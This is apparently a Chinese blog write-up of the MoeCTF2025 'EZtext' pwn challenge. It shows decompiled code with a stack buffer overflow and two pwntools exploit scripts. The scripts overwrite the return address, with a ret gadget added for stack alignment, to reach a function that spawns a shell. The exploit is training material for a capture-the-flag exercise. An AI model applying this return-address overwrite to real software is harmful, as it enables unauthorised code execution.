【个人笔记】题目:MoeCTF2025_EZtext

题目:MoeCTF2025_EZtext
日期:25-8-30
题干:
【暂无】
程序逻辑:
`int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h]

init();
puts(“Stack overflow is a powerful art!”);
puts(“In this MoeCTF,I will show you the charm of PWN!”);
puts(“You need to understand the structure of the stack first.”);
puts(“Then how many bytes do you need to overflow the stack?”);
__isoc99_scanf(“%d”);
overflow(v4);
return 0;
}`
overflow函数定义:

int __fastcall overflow(int a1)
{
  char buf[8]; // [rsp+18h] [rbp-8h] BYREF

  if ( a1 <= 7 )
    return puts("Come on, you can't even fill up this array?");
  read(0, buf, a1);
  return puts("OK,I receive your byte.and then?");
}

反汇编代码关键片段:
在这里插入图片描述
要点分析:

  • v4,即a1,定义read函数读取的字节长度。
  • buf可容纳8字节,根据[rbp -8h]可知buf距rbp为8字节(即buf的存储空间),rbp本身占用8字节,随后到达返回地址(8字节)的起始位置。故read需至少能读到24字节数据才能保证payload覆盖返回地址。
  • 反汇编片段中lea将command(即“/bin/sh”)的地址放入rax,mov又将rax的内容放入rdi,call执行system,取得shell。故让返回地址指向treasure段即可取得shell。
    脚本代码
from pwn import *                                   
context(arch='amd64', os='linux', log_level='debug') 

io = process('./pwn')
io.recvuntil('stack?')
io.sendline('32')

payload = b'A'*16
payload += p64(0x4011B6) #treasure_address
print (payload)
io.send(payload)
io.interactive()

出现问题:无法拿到shell
问题分析:存在rsp16字节对齐问题。在x86-64系统中,在执行call指令来调用一个函数时,rsp的值必须是16字节的倍数。在正常的函数调用流程中,call压入8字节的返回地址,treasure又push rbp,导致rsp的值减小了16字节,与16 取模为0,程序正常执行。而本脚本中跳转到treasure,跳过了call,导致rsp对比16字节边界减小了8字节,程序崩溃。
解决方案:
额外调用一个ret指令,ret会从栈顶弹出一个地址,使rsp的值增加8字节,抵消掉treasure的影响。(调用ret是安全的调整栈对齐手段,无副作用。)
修正脚本:

from pwn import *                                   
context(arch='amd64', os='linux', log_level='debug') 

io = process('./pwn')
io.recvuntil('stack?')
io.sendline('32')

# payload = b'A'*16
payload = b'GivemetheFKshell'
payload += p64(0x40101a) #ret_address
payload += p64(0x4011B6) #treasure_address
print (payload)
io.send(payload)
io.interactive()

谁懂按下最后一个回车的救赎感

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值